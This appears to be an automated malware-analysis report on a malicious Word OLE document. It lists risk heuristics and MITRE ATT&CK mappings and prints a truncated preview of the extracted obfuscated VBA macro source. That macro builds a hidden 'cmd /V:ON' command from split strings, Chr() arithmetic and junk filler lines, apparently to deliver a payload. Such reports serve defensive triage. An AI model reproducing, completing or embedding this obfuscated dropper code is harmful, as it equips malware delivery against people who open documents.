MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an OLE document with a high slack anomaly and an appended payload, indicating malicious intent. A legacy WordBasic AutoOpen macro was detected, which is often used to download and execute further stages. The macro attempts to construct and execute a command, likely for payload delivery, though obfuscation limits full analysis.
Heuristics 6
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 184,448 bytes but its declared streams total only 4,096 bytes — 180,352 bytes (98%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOADOLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25568 bytes |
SHA-256: eda183afdbd955a203b367cb891b131ff75423fdb345e3e82c497bb59dda7301 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "VBLjslOO"
Function nwRzzPaXSHW()
On Error Resume Next
TypeName YhSHj
TypeName pqhiv
fFwTuziijTR = "md " + " /" + "V:" + "ON " + " " + "/" + CStr(Chr(jVIrTrmLPSnuju + rJpLXbwKXSJuUv + 67 + prfPAqiSVOvz + cjCfLISlZHYzT)) + " " + " " + " " + " " + CStr(Chr(sqUHDFoPJuAi + JjzlfpdrpjCRD + 34 + qDXckcXasW + QtkKiwwQbbLnL)) + " "
TypeName 86
TypeName Sgn(lSTXi)
lzRPU = "se" + "t " + " " + " " + CStr(Chr(BkElBWr + dBlNlGEPtCMwE + 99 + VHCwOrjRjb + nkkQYatjcKiiV)) + "Y" + "=w" + "od" + "r" + "Q" + "wPo" + "oUu" + "OWE" + "n" + CStr(Chr(uIrCzLjQtUvEzu + lQPQfIl + 76 + KsvKYXbrvo + YYfHTrwdVumsF))
TypeName 7
TypeName wvnFRi
TypeName ISbaMz
fUMPKiGu = "nrT" + "aw" + "H" + "z" + "sVD" + "a" + "MO" + "T"
TypeName CByte(4211)
TypeName Sqr(NnKLYw * jfaHz)
nWfTFTAIUk = "R" + "F" + "dY5" + "p'" + CStr(Chr(FGRlWEimS + VwUMEFb + 67 + skJLRpKCQ + EbKVliC)) + "jN" + "=)" + ":Ay"
TypeName nvMjKm
TypeName Fix(9572)
TypeName Log(KokCXI)
GXhKFzMv = "b" + "i@" + ",K" + "+B{" + "m" + "(" + "h" + "f" + CStr(Chr(ulMXNVzIJpjQ + VUzFUhtcWMjB + 99 + zaaCqiTGYlwv + saanOro)) + "t" + "9 " + "v"
TypeName CMqKvU
TypeName onSYPF
TypeName CInt(DCilXq)
cGinwXmE = "I2" + "x}" + "3" + "." + "\k"
TypeName Chr(76)
TypeName CDate(684)
TypeName cksVt
iFdLwTNbm = "-6" + "eg/" + "1;$" + "S" + CStr(Chr(YiErSPzqLbNJi + aLQPwLHYrrj + 108 + tmCwwmCUlmBr + mTcsKLwMCbZEdQ)) + "&& " + " f" + "or"
nwRzzPaXSHW = fFwTuziijTR + lzRPU + fUMPKiGu + nWfTFTAIUk + GXhKFzMv + cGinwXmE + iFdLwTNbm
TypeName Cos(zczEwY - zJENuF)
TypeName JdzJQ
TypeName Log(ozYQu * lFhuc)
End Function
Function mpImB()
On Error Resume Next
TypeName Rnd(WphUw)
TypeName CInt(PWYCiA + fvdsu + 85855 * fvbDGi)
vlNFrwoNMz = " %" + "P i" + "n (" + " " + "3" + "5 " + " " + ",8 " + " " + " " + " " + ",2"
TypeName CDate(WzzzY - RNtYN)
TypeName CDbl(hNJQn)
TypeName jcCth
UatbjuB = "0 " + " " + "," + " " + "72" + " " + " ," + " " + "17 " + " " + "," + " 23" + " ,"
TypeName 399
TypeName Fix(UJDIic / 88547 - szNwX * 9833)
VYpQWAvb = " " + " " + " 5" + "5" + " ," + " " + "72 " + "," + " 7" + "9 " + " ," + "79 "
TypeName 9
TypeName bnwiF
TypeName CBool(500)
GvQzmMHF = " , " + " " + " " + "60" + " " + " " + ", " + " 7" + "7 " + " " + " ," + " " + "20"
TypeName 1
TypeName Fix(SlFdi)
bVVitZQuPv = "," + " " + "1" + "6" + " "
TypeName 364574888
TypeName CInt(2870 - 57652 * 55390 - BkRKu)
TypeName pqqXzB
hCiSMRVBlo = " , " + " 49" + "," + " " + "4" + "0" + ","
TypeName 939
TypeName Rnd(VCnrY / HtjOiD - PqjDi / mXiDRI)
buhtnfvj = " " + " 1" + "6 " + ", " + " " + " " + "72 "
TypeName Sin(vZomtl)
TypeName CStr(TohUaY - DzwAtf)
nHVLCYhskXS = " ," + " 2" + "0,7" + "0 " + " " + "," + "8" + " " + ", " + " " + " 45" + " " + " ,"
TypeName DcEjds
TypeName CInt(QViZi)
TypeName CBool(58481 - pmwViJ * 63140 - EQaBi)
tkImqjHDPw = "38" + " " + ",7" + "2 ," + "57" + " " + " ,5" + "8 " + " ," + " " + " 6"
TypeName Chr(QpTnbz)
TypeName cCYkl
IjOLkhm = "0" + " " + " ," + " " + "39 " + ", " + " 72" + " "
TypeName wUiAz
TypeName Chr(3760 / AEwwKH)
TypeName CBool(wvqICc)
KzMHVuFIKDE = " " + " " + ", " + " " + "58" + ", " + "6" + "7 " + ", " + "1"
TypeName VmQFh
TypeName sdjRvJ
TypeName otKFPT
tGnojrXopC = "2" + " , " + "7" + "2" + ",4" + "5 " + ", " + " 37" + " " + ", 7" + "9" + " "
TypeName Chr(6477)
TypeName 8386
TypeName CDate(33280 / auOvjo)
MiBrKno = ", " + "46 " + ", " + " " + "72 " + ", " + " 1" + "6 " + ", "
mpImB = vlNFrwoNMz + UatbjuB + VYpQWAvb + GvQzmMHF + bVVitZQuPv + hCiSMRVBlo + buhtnfvj + nHVLCYhskXS + tkImqjHDPw + IjOLkhm + KzMHVuFIKDE + tGnojrXopC + MiBrKno
TypeName Fix(82655 - 95879 * BdYHGS * 65004)
TypeName CBool(574)
End Function
Function ndZlJKpLKRO()
On Error Resume Next
TypeName sRoYpf
TypeName woVpJO
uwuNYVKJ = " 5" + "8," + " 7" + "6 " + " " + ", " + " 7" + "7" + " "
TypeName juQKXE
TypeName 470
taILtGFo = ",6" + "2 " + ", " + " 27" + " " + ", "
... (truncated)
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